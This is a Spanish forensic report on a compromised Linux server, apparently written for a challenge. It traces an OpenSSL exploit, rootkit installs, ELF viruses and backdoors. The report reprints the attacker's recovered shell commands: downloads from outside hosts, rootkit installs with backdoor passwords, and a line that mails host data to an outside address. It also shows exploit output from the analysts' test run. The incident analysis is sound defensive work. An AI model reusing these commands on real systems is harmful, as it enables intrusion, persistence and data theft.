eliteaza 1 id su cd crk dir ./install eliteaz 9933 En la línea 17, se aprecia, que crea en el puerto 1 un servidor SSH con passwd “eliteaza” y un poco más abajo instala otro en el puerto 9933 con passwd “eliteaz”. Durante la instalación ocurre lo siguiente: - - Descomprime todos los ficheros que están en el tar.gz: bin.tgz, conf.tgz, lib.tgz, bin/ssh-only.tgz y ssh.tgz. Se asegura de que el script esta corriendo como root. Mata el proceso syslogd. Coge el valor de la passwd suministrada como parámetro, o si no se le da ninguna, usa la que esta por defecto (cycommrk) y genera dos ficheros iguales llamados /etc/ld.so.hash y /lib/libext-2.so.7 que contiene la contraseña en formato crypt (3). Esta es la contraseña que usara el servidor sshd que instala. Crea el script /etc/rc.d/init.d/cycomm que lanza el servidor ssh. Borra todos los logs del sistema que hay en /var/log y los bash_history de root. Muestra información del sistema. Borra el directorio de instalación y el tar.gz y acaba. Algunas de las partes de la instalación fallan, dejando el rootkit a medio instalar y no funcional. Si hubiera acabado, habría realizado las siguientes acciones: - Instalar los ficheros que están en bin.tgz, conf.tgz, lib.tgz, ssh-only.tgz y ssh.tgz. Configurar una copia del sshd para que escuche en el puerto suministrado y si no se suministra uno, usa el que tiene por defecto (7777/tcp) Copia el sshd modificado a /usr/sbin/xntpd. Puesto que la instalación de este rootkit ha fallado en una fase tan básica, no afecta al sistema más que en la creación de los ficheros /etc/ld.so.hash y /lib/libext-2.so.7 que por si mismos no hacen nada, son solo la contraseña de la que sería una puerta trasera. 2.3.2. Hipótesis un virus en Linux. Los virus no son habituales en Linux, de hecho comparados con el número existente en plataformas Windows, son casi una rareza. Sin embargo durante este incidente, nos hemos encontrado con dos. 15 2.3.2.1. Linux/RST.b Durante la búsqueda de rootkits en los apartados anteriores, nos llamaron la atención dos ficheros vacíos que habían sido creados cuando el intruso ya estaba dentro de la maquina. Estos ficheros eran /dev/hdx1 y /dev/hdx2. Tras una búsqueda en google, se indicaba que eran parte de un virus para Linux llamado Linux/RST.b 10 Este virus, implementa varias capacidades de backdoor, permitiendo al atacante tomar control del sistema infectado en el caso de que el virus haya sido ejecutado con privilegios de root. El virus infecta todos los binarios que estén el directorio actual y los del directorio /bin hasta un máximo de 30. El virus detecta cuando un fichero está ya infectado y no lo reinfecta. También pone en modo promiscuo tanto el primer interfaz de red eth0 como el primer interfaz PPP (ppp0). Crea los dispositivos /dev/hdx1 y /dev/hdx2 para usarlos como semáforos en la gestión de sniffing de los interfaces comentados. Una vez completada la rutina de infección, trata de conectarse al servidor web ns1.xoasis.com y descargarse el fichero gov.php que no existía. De esta manera el que programo el virus presumiblemente tenía acceso a los logs de dicho servidor, y sabría qué maquinas estaban infectadas. También crea un socket de EGP (External Gateway Protocol) y espera a que le llegue un paquete de este protocolo especialmente diseñado. Si ve un paquete EGP en el que el Byte 23 sea 0x11, comprobara en el offset 0x2a de la parte de datos del paquete una contraseña de 3 bytes (DOM). Si es correcta, el siguiente byte indicara el comando. Si es el 1, abrirá una shell /bin/sh, si es el 2 devuelve la contraseña (DOM). Los binarios infectados contienen las cadenas “snortdos” y “tory” por lo que es fácil localizarlos. find /reto/hda/ –type f –perm 755 –exec grep ‘snortdos’ {} \; Lo que nos da un total de 27 ficheros infectados. Esto nos hizo sospechar que había algo más que se nos estaba escapando porque las firmas md5 de la base de datos rpm nos indicaba que había 65. # grep "\/bin\/" /reto2/rpm_md5_solo_modificados.txt 65 | wc -l 2.3.2.2. Linux/OSF.a 11 Tras la diferencia de ficheros modificados que encontramos en el punto anterior, le pasamos un antivirus (fprot) al directorio /bin buscando más virus. Encontramos que el resto de ficheros que habían sido modificados en este directorio estaban infectados por otro virus llamado Linux/OSF.a. Este virus infecta binarios tipo ELF de Linux añadiéndoles 8759 bytes. Si el usuario root ejecuta un fichero infectado, el virus infectará como mucho 201 ficheros del directorio /bin, pero nunca el fichero ps. En este caso, ha infectado 51 de los 85 que contenía el directorio (los ficheros que no había infectado el RST.b). Este virus tiene también propiedades de backdoor, una vez ejecutado, el virus escuchara el puerto UDP 3049 esperando órdenes: - Ejecutar un comando en equipo. Correr un sniffer. 10 Información sobre Linux/RST.b http://www.security-focus.com/archive/100/247640 http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=ELF%5FRST%2EB&VSect=T 11 Linux/OSF.a: http://www.viruslibrary.com/virusinfo/Linux.OSF.8759.htm 16 - Redirigir el trafico de la maquina a otra maquina. El virus también trata de editar las reglas del firewall y borrarlas para prevenir cualquier bloqueo del mismo. 2.4. De cómo el atacante entra en el sistema. Repasando el fichero /reto2/mactime_todo.txt desde su inicio, lo primero que nos llama la atención es la creación del fichero /etc/ssh/sshd_config~ por el usuario apache. Dicho usuario es creado por el sistema con la única finalidad de correr el servidor web Apache. El usuario apache, tiene unos privilegios mínimos y que no tiene login interactivo (/bin/false). Por lo tanto es muy extraño que aparezcan ficheros creados por este usuario. Esto nos hace sospechar que la intrusión se puede haber realizado a través del servidor web apache. /reto2/mactime_todo.txt 129025 Sat Jan 29 2005 15:15:41 129026 0 .a. -/-rwxr-xr-x apache 0 .a. -rwxr-xr-x apache apache apache 959 /etc/ssh/sshd_config~ (deleted) 959 <hda1.dd-dead-959> Continuamos el análisis del /reto2/mactime_todo.txt y encontramos varias herramientas de hacking (woot.tgz, sc.tgz, selena.tgz, etc.). En concreto el paquete selena.tgz 12 (un autorooter) que más tarde usara para atacar a otras maquinas Este autorouter explota una vulnerabilidad en el servidor web Apache instalado con soporte para SSL. Concretamente, el exploit que usa es el openssl-too-open 13 , como nos lo indica el contenido del fichero main.c. # grep openssl-too-open /reto2/hda/var/tmp/selena/main.c * openssl-too-open.c - OpenSSL remote exploit Esta vulnerabilidad afecta al paquete OpenSSL cuya versión sea inferior a la 0.9.6e. Siendo la versión de OpenSSL instalada en la maquina del reto OpenSSL-0.9.6b # rpm -qa --dbpath /reto2/hda/var/lib/rpm openssl openssl-0.9.6b-18 Puesto que sospechamos que la intrusión había sido a través del servidor Apache+SSL, para confirmarlo, lanzamos el exploit que encontramos en el paquete selena contra nuestra máquina test, siendo este el resultado de la prueba. # # # # # # # ./ssx -a 0xc 10.0.128.128 Opening 30 connections Establishing SSL connections Using the OpenSSL info leak to retrieve the addresses ssl0 : 0x814bac0 ssl1 : 0x814bac0 ssl2 : 0x814bac0 # Sending shellcode ciphers: 0x814bac0 start_addr: 0x814ba00 SHELLCODE_OFS: 208 # Execution of stage1 shellcode succeeded, sending stage2 # Spawning shell... bash: no job control in this shell readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) 12 13 selena.tgz: http://www.lurhq.com/atd.html Exploit openssl-too-open: http://www.phreedom.org/solar/exploits/apache-openssl/ 17 3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ De esta comprobación se deduce que tanto la maquina test como la maquina del reto son vulnerables a este exploit pudiendo un atacante externo entrar en la maquina con una shell que pertenece al usuario apache. Buscamos en los logs del servidor Apache de la maquina test las entradas que ha generado la explotación de la vulnerabilidad. En el siguiente cuadro recogemos las entradas: [Tue Mar 1 22:00:47 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 10.0.128.2) (OpenSSL library error follows) [Tue Mar 1 22:00:47 2005] [error] OpenSSL: error:1406908F:lib(20):func(105):reason(143) No disponemos a buscar estos logs en la maquina atacada para confirmar que la intrusión se ha producido usando este exploit. Puesto que el atacante borro todos los logs del sistema, buscaremos esta información en el fichero /reto2/hda3.dd.unalloc.asc que contiene las cadenas de texto de las zona no usada de la imagen hda3.dd (/var) que es la que contenía los logs del sistema. Para ello usamos el comando grep y buscamos la cadena ”SSL handshake failed”: #grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc 611097301 [Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) […Continua…] En las líneas anteriores confirmamos que el atacante ha entrado en la maquina aprovechando este exploit. Además nos da más información sobre la intrusión: - Fecha y hora de la intrusión: Sat Jan 29 14:58:51 2005 IP del atacante: 64.202.43.190 Origen de la IP: Reno, Nevada, EEUU Dominio del origen del ataque: asiahotels.net (Tailandia) Servicio atacado: Apache + SSL (OpenSSL 0.9.6b) Vulnerabilidad explotada: CA-2002-23 14 (VU#102795: OpenSSL servers contain a buffer overflow during the SSLv2 handshake process) Exploit usado: openssl-too-open.c 2.5. Descripción del compromiso Como vimos anteriormente el atacante entro en la maquina el día 29 a las 14:58:51; logró acceso con el usuario apache. Lógicamente, lo primero que debería intentar es elevar sus privilegios a root. Veamos si lo consigue y en caso de hacerlo, cómo. El atacante vuelve a entrar varias veces en el transcurso de 15 minutos: #grep –i "SSL handshake failed" /reto2/hda3.dd.unalloc.asc 611097532 [Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) 611097763 [Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) 611097994 [Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSSL library error follows) 14 CA-2002-23: http://www.cert.org/advisories/CA-2002-23.html 18 A las 15:11:44 se conecta por ftp a una dirección desconocida y presumiblemente se descarga algo. Este dato lo sacamos del fichero /reto2/mactime_todo.txt. /reto2/mactime_todo.txt Sat Jan 29 2005 15:11:44 65832 .a. -/-rwxr-xr-x root root 32392 /usr/bin/ftp En principio no tenemos acceso a lo que se descarga puesto que luego lo borra y no aparece en el listado de ficheros borrados que nos muestra autopsy. Sospechamos que se trata del exploit que usará para convertirse en root, aunque aun no tenemos ninguna evidencia. Recordamos que el atacante todavía es usuario apache. A las 15:16:49 del Sat Jan 29 2005 entra en el sistema el virus RST.b del que hablamos en el punto 2.3.2.1, infecta el /bin/gawk y crea los dispositivos /dev/hdx1 y /dev/hdx2. /reto2/mactime_todo.txt 129027 Sat Jan 29 2005 15:16:49 129028 129029 129030 129031 252844 0 86016 252844 0 m.c mac m.c m.c mac -/-rwxr-xr-x -/---------d/drwxr-xr-x -/-rwxr-xr-x -/---------- root root root root root root root root root root 47990 37434 31937 47990 37435 /bin/gawk /dev/hdx1 /dev /bin/gawk-3.1.0 /dev/hdx2 Para que la infección se haya llevado a cabo, el virus ha tenido por fuerza que ser ejecutado como root. Nuestra hipótesis de trabajo es que el atacante durante la sesión de ftp, se bajó un exploit local ya compilado. Dicho exploit estaba infectado con el virus RST.b y al ejecutarlo y convertirse en root, infecta al equipo. Veamos si podemos confírmalo. Puesto puesto que el exploit ha sido borrado, aun podemos intentar buscarlo entre los ficheros borrados que se encuentran en la zona no usada del disco. Esta tarea sería como buscar una aguja en un pajar sin saber ni donde ni que buscar, pero en este caso, sabemos que como está infectado con el virus RST.b tiene que contener forzosamente la cadena de texto “snortdos”. Puesto que siendo el usuario apache, no podía escribir en demasiados sitios, lo más probable es que usara el directorio /tmp, lo cual queda reforzado por el hecho de que más adelante vemos que en /var/tmp/.bash_history borra el contenido de dicho directorio. Por lo tanto empezaremos mirando en los archivos borrados de la partición raíz (hda1) que es la que contiene el directorio /tmp. Usaremos por comodidad en este caso, la interfaz web de Autopsy para buscar la cadena de texto “snortdos” en la parte unallocated de hda1: 19 Encuentra un acierto con la cadena “snortdos”. Si nuestra suposición es cierta podría tratarse del exploit que estamos buscando. Cuando verificamos lo que ha encontrado en la unidad 24866, vemos que efectivamente se trata de parte del virus. Revisamos la unidad anterior (24866) mirando las cadenas ASCII y ¡Eureka! vemos las cadenas de lo que parece un exploit local que aprovecha la conocida vulnerabilidad 20 ptrace 15 de los kernels 2.2 y 2.4. Más tarde, descubrimos que este exploit era la herramienta “own” que posteriormente podemos recuperar también, del lugar del que se la descargó. El fichero en su conjunto, ocupa 6 unidades, hemos recuperado el exploit infectado con el virus y lo añadimos al informe como un fichero aparte. Por lo tanto el atacante logro hacerse root a las 15:16:49 del 29 de Enero usando un exploit local para el kernel (ptrace). El binario en cuestión esta ubicado desde la unidad 24865 a la 24870 (ocupa 6 unidades) y lo aportamos como evidencia en un fichero adjunto (exploit_ptrace_infectado) a este informe. Hay que recordar que esta infectado con el virus RST.b y que en cualquier ordenador vulnerable donde se ejecute será infectado con él. Una vez que el atacante se ha hecho con los privilegios de root, comienza a instalar una serie de herramientas que le permitirán, ocultar sus actividades y acceder de forma fácil otra vez al equipo. Lo primero que hace a las 15:17:13 del día 29, es crear una cuenta de un usuario llamado weed con privilegios de root y ponerle una contraseña. Este usuario lo va a crear y borrar tres veces. /.bash_history /reto2/mactime_todo.txt adduser -g 0 -u 0 -o weed Sat Jan 29 2005 15:17:13 124 4096 24 191 124 mac m.c .a. .a. .a. -/-rw-r--r-d/drwx------/-rw-r--r--/-rw-r--r--/-rw-r--r-- root root root root root root root root root root 64004 64001 95821 95822 95823 /home/weed/.bashrc /home/weed /etc/skel/.bash_logout /etc/skel/.bash_profile /etc/skel/.bashrc 15 Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4: http://www.kb.cert.org/vuls/id/628849 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127 21 0 mac -/-rw-rw---- root 191 mac -/-rw-r--r-- root 24 mac -/-rw-r--r-- root passwd weed root root root 352010 64003 64002 /var/spool/mail/weed /home/weed/.bash_profile /home/weed/.bash_logout root root root root 32050 128196 95820 128208 /etc/passwd/usr/sbin/adduser /etc/default/useradd /usr/sbin/useradd Sat Jan 29 2005 15:18:35 1414 7 96 52168 m.. .a. .a. .a. -/-rw------l/lrwxrwxrwx -/-rw-------/-rwxr-xr-x root root root root Durante la sesión ftp o inmediatamente después, se bajo el exploit local para el kernel (own) que fuel el que uso para hará escalar privilegios y también se descargo la herramienta za.tgz. Tanto za.tgz como own se los bajo del mismo sitio web http://www.zetu.as.ro. No ha quedado rastro de las mismas porque más tarde las borra. Se describe estas herramientas en el punto 3 del informe. /.bash_history rm -rf za* rm -rf own Entre las 15:18:35 y las 15:19:33 se descarga el rootkit SHV4 que está contenido en el fichero crk.tar.gz y lo descomprime. Entre las 15:19:33 y las 15.21:50 ejecuta la instalación de este rootkit por dos veces. El rootkit como ya explicamos en el punto 2.3.1.2 abre una puerta trasera por ssh en el puerto suministrado, sin embargo falla en su instalación ¿quizás por eso lo instala por dos veces? /.bash_history /reto2/mactime_todo.txt wget www.zetu.as.ro/crk.tar.gz tar xzvf crk.tar.gz cd crk ./install eliteaza 1 id su cd crk dir ./install eliteaz 9933 Sat Jan 29 2005 15:19:33 107 .a. -/-rw-r--r-- Contador Contador 81746 33848 .a. -/-rwxr-xr-x root root 111859 16 m.. l/lrwxrwxrwx root root 111861 73 43 154 89 .a. .a. .a. .a. -/-rw-r--r--/-rw-r--r--/-rw-r--r--/-rw-r--r-- Contador Contador Contador Contador Contador Contador Contador Contador 81748 48889 81747 81749 /usr/include/file.h /lib/libproc.a /lib/libproc.so -> libproc.so.2.0.6 /usr/include/log.h /lib/lidps1.so /usr/include/hosts.h /usr/include/proc.h A las 15:21:46 se descarga y descomprime el segundo rootkit que va a instalar: suckit. A las 15:22:00 lo ejecuta y como resultado renombra el /sbin/init a /sbin/initsk12. Durante la instalación se crea un nuevo /sbin/init que contiene el rootkit que será cargado en el próximo reinicio. Como indicamos en el punto 2.3.1.1 este rootkit también queda parcialmente instalado. Además tras haberlo probado en nuestra maquina test, de haberse reiniciado el equipo, no habría arrancado acabando aquí con toda la intrusión. /root/.bash_history /reto2/mactime_todo.txt wget xhack.150m.com/sc.tgz tar -zxvf sc.tgz cd sc ./inst ./sk Sat Jan 29 2005 15:22:00 4096 m.c d/drwxr-xr-x root 26920 mac -/-rwxr-xr-x root 33348 mac -/-rwxr-xr-x root root root root 47909 48881 48884 /sbin /sbin/initsk12 /sbin/init 22 Una vez que ha acabado, borra el directorio de instalación. /root/.bash_history rm -rf sc* A continuación se descarga y ejecuta la herramienta https. Se trata de una puerta trasera escrita en perl que analizamos más en profundidad en la sección 3 de herramientas instaladas por el atacante. /reto2/mactime_todo.txt Sat Jan 29 2005 15:22:12 0 .a. -rw-r--r-root 8022 .a. -/-r--r--r-- root root root 966 320187 <hda1.dd-dead-966> /usr/lib/perl5/5.6.1/i386-linux/IO/Select.pm Puesto que este es el último comando que aparece en /root/.bash_history, concluimos que esta es la última vez que se conecta como usuario root con esta shell. Esto podría no ser cierto, ya que puede deshabilitar el logging de comandos del bash_history, pero viendo como ha “eliminado” el resto de rastros, no creemos que lo haya hecho. Además, ya no le hace falta, puesto que ha instalado varias puertas traseras. Termina la sesión a las 15:22:20 y no vuelve a usar esta shell. /reto2/mactime_todo.txt Sat Jan 29 2005 15:22:20 133 m.c -/-rw------- root root 98069 /root/.bash_history A las 15:22:22 se conecta por primera vez por ssh a localhost, usando el usuario weed. Más tarde volverá a hacerlo. /.bash_history /reto2/mactime_todo.txt ssh -l weed localhost Sat Jan 29 2005 15:22:22 219 m.c -/-rw-r--r-- root 4096 m.c d/drwx------ root root root 111855 /root/.ssh/known_hosts 111854 /root/.ssh Borra al usuario weed por última vez a las 15:25:25. /.bash_history /reto2/mactime_todo.txt Sat Jan 29 2005 15:25:25 userdel weed /usr/sbin/userdel weed 0 0 457 1381 0 35336 mac mac .a. m.c mac .a. -/-rw------- root -rw------- root -/-r-------- root -/-rw-r--r-- root -/-rw------- root -/-rwxr-xr-x root root root root root root root 37415 /etc/passwd.lock 37437 <hda1.dd-dead-37437> 37431 /etc/gshadow 37441 /etc/passwd 37439 /etc/group.lock 128209 /usr/sbin/userdel A las 15:26:47 se descarga la herramienta pico que es otro backdoor. Unos segundos más tarde, trata de ocultar la utilidad pico, renombrándola a “ “(un espacio). /.bash_history /reto2/mactime_todo.txt wget www.zetu.as.ro/pico Sat Jan 29 2005 15:26:47 chmod +x pico 24056 m.. -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc) 23 mv pico " " Sat Jan 29 2005 15:26:55 24056 ..c -/-rwxr-xr-x root root 96002 24056 ..c -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc) /var/log/ Finalmente, modifica el path de ejecución y ejecuta el pico renombrado a las 15:27:01. /.bash_history /reto2/mactime_todo.txt export PATH="." “ “ Sat Jan 29 2005 15:27:01 24056 .a. -/-rwxr-xr-x root root 96002 /var/log/pico (deleted-realloc) El backdoor pico, además de abrir una puerta trasera, recoge información con una serie de comandos y la manda por correo a la dirección radautiteam@yahoo.com de esta forma, el atacante entre otras cosa se manda la IP de la maquina para no olvidarla y volver después. strings /var/log/pico /reto2/mactime_todo.txt touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s 'Port nou' radautiteam@yahoo.com Sat Jan 29 2005 15:27:01 64761 .a. -/-rwxr-xr-x root 0 mac -/-rw-r--r-- root root root 47944 18407 /sbin/ifconfig /tmp/.info A las 15:27:24 mata cualquier proceso llamado zbind (se equivoca las dos primeras veces). El proceso zbind es una puerta trasera estaba contenida en el fichero za.tgz que se descargo y ejecutó al principio del compromiso (15:11:44). Probablemente al haber abierto otra puerta trasera con el pico, ya no necesitaba ésta. /.bash_history /reto2/mactime_todo.txt /usr//sbin/killall -9 zbind /usr/sbin/killall -9 zbind /usr/bin/killall -9 zbind Sat Jan 29 2005 15:27:24 12320 .a. -/-rwxr-xr-x root 665 m.c -/-rw------- root root root 32165 982 /usr/bin/killall /.bash_history En el mismo segundo se sale de la shell. Por lo tanto, la shell desde la que mata el proceso zbind había sido iniciada a través del propio backdoor zbind y al matarlo la sesión finaliza abruptamente. Por esta razón el home del usuario es el directorio raíz “/” cuando al estar trabajando como root en un inicio de sesión normal, debería de tener el directorio /root como home. Se conecta otra vez, pero el home que tiene ahora es el /var/tmp que es donde va a desarrollar sus próximas acciones hasta el final de la intrusión. Seguiremos las acciones realizadas a través del .bash_history que ha quedado en /var/tmp. A las 15:36:34 se descarga el paquete w00t.tgz, lo descomprime y ejecuta el comando asmb. Este paquete es un autorooter para el servidor samba y lo lanza contra la clase B 200.207.0.0/16 que en unas rápidas consultas con el whois descubrimos que pertenece a Brasil (diversas subredes). El w00t, escanea buscando servidores samba vulnerables y compromete de forma automatizada todos aquellos que encuentra. Esta herramienta se describe con más detalle en el punto 3 del presente documento. 24 /var/tmp/.bash_history /reto2/mactime_todo.txt wget www.zetu.as.ro/woot.tgz tar xvfz woot.tgz Sat Jan 29 2005 15:36:34 396 813 42930 5767 121 13516 39340 24798 39469 26592 885 206 20893 21495 42762 ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c -/-rw-r--r--/-rwxr-xr-x -/-rw-r--r--/-rw-r--r--/-rwxr-xr-x -/-rw-r--r--/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rw-r--r--/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rw-r--r-- 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 523 336009 336010 336021 336020 336012 336013 336018 336017 336022 336015 336008 336011 336014 336016 336019 /var/tmp/w00t/try.c /var/tmp/w00t/asmb /var/tmp/w00t/sambas.c /var/tmp/w00t/pscan2.c /var/tmp/w00t/make /var/tmp/w00t/vuln.c /var/tmp/w00t/samba /var/tmp/w00t/pscan2 /var/tmp/w00t/sambas /var/tmp/w00t/vuln /var/tmp/w00t/o0o.c /var/tmp/w00t/auto /var/tmp/w00t/try /var/tmp/w00t/o0o /var/tmp/w00t/samba.c cd w00t ./asmb 200.207 Las modificaciones de ficheros binarios del directorio /bin que sobrevienen a continuación, son causadas por el virus OSF.a. Todos los binarios del paquete w00t están infectados con este virus que hemos descrito con detalle en el punto 2.3.2.2. Curiosamente no afectan a los binarios que habían sido infectados anteriormente con el virus RST.b. A continuación mostramos algunos de los binarios infectados. /reto2/mactime_todo.txt Sat Jan 29 2005 15:36:43 16523 30815 52255 103123 72314 64291 51807 29549 19839 11463 297363 37215 31935 ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c ..c -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x -/-rwxr-xr-x root root root root root root root root root root root root root root root root root root root root root root root root root root 48293 48225 47982 47994 48001 48029 48018 48027 48226 48291 48026 48231 48295 /bin/kill /bin/date /bin/mv /bin/ash /bin/gunzip /bin/sort /bin/consolechars /bin/cat /bin/echo /bin/arch /bin/tcsh /bin/stty /bin/more El resultado de lanzar w00t contra la red 200.207.0.0/16 se almacena en el fichero “/var/tmp/w00t/200.207.pscan.139” pero como no encuentra ningún objetivo, finalmente el fichero se queda vacío. Después de las 15:42:46 se descarga un bouncer de irc: psybnc. Dicho programa, es usado para mantener sesiones en canales irc, ocultar la IP real, lanzar denegaciones de servicio, etc. Hay una descripción completa del psybnc en el punto 3 del presente documento. En el equipo atacado, de hecho, realiza dos instalaciones del psybnc. La primera en el directorio /dev/shm de la que no ha quedado nada, porque en algún momento la borra. Vemos a continuación la secuencia de comandos que ejecutó. 25 /var/tmp/.bash_history cd /dev/shm dir wget www.zetu.as.ro/psyz.tar.gz tar xzvf psyz.tar.gz rm -rf psyz.tar.gz mv psybnc local cd local rm -rf psybnc.conf* wget www.zetu.as.ro/psybnc/psybnc.conf mv psybnc "ps ax" export PATH="." "ps ax" Como se puede comprobar en el cuadro anterior, se baja otro fichero de configuración y cambia el nombre al psybnc para que parezca el comando “ps ax” y no llame la atención si alguien revisa los procesos del sistema. La segunda instalación la realiza en el directorio /var/tmp, a las 15:46:27 se descarga otro paquete con el psybnc, lo descomprime y acto seguido lo ejecuta. Esto trata de a correr el irc bouncer en el puerto 17900/tcp. /var/tmp/.bash_history /reto2/mactime_todo.txt Sat Jan 29 2005 15:46:27 wget www.zetu.as.ro/psybnc.tgz tar xvfz psybnc.tgz 957521 ..c -/-rw-r--r-- root root 32012 /var/tmp/psybnc.tgz Sat Jan 29 2005 15:46:42 cd psybnc ./psybnc 533616 .a. -/-rwxr-xr-x 657 226 192018 /var/tmp/psybnc/psybnc 7 mac -/-rw------- root root 192021 /var/tmp/psybnc/psybnc.pid 356 mac -/-rw------- root root 128014 /var/tmp/psybnc/log/psybnc.log Sin embargo, le da algunos fallos, pero al final arranca el bouncer. Podemos comprobarlo en los logs que hay en el fichero /var/tmp/psybnc/log/psybnc.log /var/tmp/psybnc/log/psybnc.log Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900 Sat Jan 29 15:46:42 :Error Creating Socket Sat Jan 29 15:46:42 :Can't create listening sock on host * port 17900 Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats or Files. Please define at least one Listener for an IP. Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID :24907) Dos días después, el 31 de Enero a las 00:39:17 se vuelve a conectar por ssh. /reto2/mactime_todo.txt Mon Jan 31 2005 00:39:17 88039 .a. -/-rw------- root root 850 /etc/ssh/moduli Y a las 03:12:48 alguien se conecta al psybnc de esta maquina. En el log USER1.LOG vemos que se conecta a undernet.org. 26 /reto2/mactime_todo.txt Mon Jan 31 2005 03:12:48 105 mac -/-rw------- root 4096 m.. d/drwxr-xr-x 657 root 226 192023 192011 /var/tmp/psybnc/USER1.LOG /var/tmp/psybnc A las 11:35:07 y tras ejecutar algunos comandos del sistema (w, ps, dir) se descarga la última herramienta que instalará: selena.tgz. /var/tmp/.bash_history /reto2/mactime_todo.txt Mon Jan 31 2005 11:35:07 4224 .a. -/-rw-rw-r-- root 8432 .a. -/-r-xr-xr-x root w utmp root 304004 /var/run/utmp 32161 /usr/bin/w Mon Jan 31 2005 11:35:13 ps aux cd /var/tmp 63304 .a. -/-r-xr-xr-x root root 48002 /bin/ps root 31981 /etc/termcap root 32116 /usr/bin/dir Mon Jan 31 2005 11:46:49 ls 737535 .a. -/-rw-r--r-- root Mon Jan 31 2005 11:46:57 dir 46888 .a. -/-rwxr-xr-x root Mon Jan 31 2005 11:51:38 wget http://www.plus.factory.home.ro/selena.tgz 342006 ..c -/-rw-r--r-- root root 32011 /var/tmp/selena.tgz El paquete selena es un autorooter de apache+ssl. La descomprime y lo lanza contra las redes 217.172.0.0/16, a la búsqueda de servidores apache con el puerto 443 (https) abierto y vulnerables al exploit que contiene. Como curiosidad, decir que los binarios del selena también están infectados por el virus RST.b, aunque a estas alturas del compromiso, poco queda que no haya sido infectado ya. El selena y sus componentes será explicada en detalle en el punto 3 del presente documento. /var/tmp/.bash_history /reto2/mactime_todo.txt Mon Jan 31 2005 11:54:37 tar xvfz selena.tgz 206 ..c -/-rwxr-xr-x 505 98304 ..c -/-rw------- 505 12557 ..c -/-rw-r--r-- 505 505 505 505 224015 224030 224013 /var/tmp/selena/auto /var/tmp/selena/core /var/tmp/selena/main.c cd selena ./assl 217.172 Las maquinas que ha encontrado vulnerables y a las que ha lanzado el exploit quedan almacenadas a las 12:03:38 en el fichero /var/tmp/selena/217.172.ssl.out a continuación ponemos una pequeña muestra de este fichero. /var/tmp/señema/217.172.ssl.out ./sslex ./sslex ./sslex ./sslex ./sslex ./sslex ./sslex ./sslex 0 217.172.67.46 16 217.172.70.43 1 217.172.75.56 1 217.172.76.229 1 217.172.76.228 1 217.172.67.164 1 217.172.79.162 1 217.172.76.105 27 A las 12:03:40 el atacante cierra la shell en la que estaba. A partir de ahí, la actividad que existe no parece ser del atacante, sino que probablemente es del administrador del sistema (que se conecta a las 12:52:57) cuando descubre la intrusión. A las 15:38:57 del día 31 de Enero, la maquina es apagada haciendo un hard-reset. 28 3. Análisis de las herramientas instaladas por el atacante. Describiremos a continuación la serie de programas que el atacante se baja de Internet para instalar en la maquina. Como en la mayoría de las intrusiones, una vez que el atacante gana el control del sistema comprometido, instala una serie de herramientas que le permiten abrir puertas traseras para posibilitar su futuro regreso a la maquina sin levantar sospechas, instalar algún programa que le posibilite el control remoto de la maquina atacada, ocultar sus actividades en el sistema, etc. Todos los programas que se baja están compilados, por lo que no tendría que realizar este paso una vez accedido a la maquina. Esta compilación implica que no es la primera vez que entra en un sistema sin permiso dado que los programas los tenia preparados y listos para funcionar. Como se puede observar en el listado siguiente, la mayoría de los programas se los baja el atacante de maquinas que se encuentran en el dominio “ro” (Rumania). Estas maquinas son www.zetu.as.ro y www.plus.factory.home.ro y están en idioma rumano. Sólo encontramos la maquina xhack.150m.com fuera de Rumania. Este dato nos hace pensar que el atacante es Rumano, aunque como hemos visto anteriormente el ataque se realizo desde una maquina ubicada en Estados Unidos. Adjuntamos una lista con la línea en la que se aprecia el comando usado por el atacante para bajarse los programas y los ficheros bash_history donde se encontró la traza. 13 21 35 46 4 10 14 41 wget wget wget wget wget wget wget wget www.zetu.as.ro/woot.tgz www.zetu.as.ro/psyz.tar.gz www.zetu.as.ro/psybnc.tgz http://www.plus.factory.home.ro/selena.tgz xhack.150m.com/sc.tgz xhack.150m.com/https www.zetu.as.ro/crk.tar.gz www.zetu.as.ro/pico /var/tmp/.bash_history /var/tmp/.bash_history /var/tmp/.bash_history /var/tmp/.bash_history /root/.bash_history 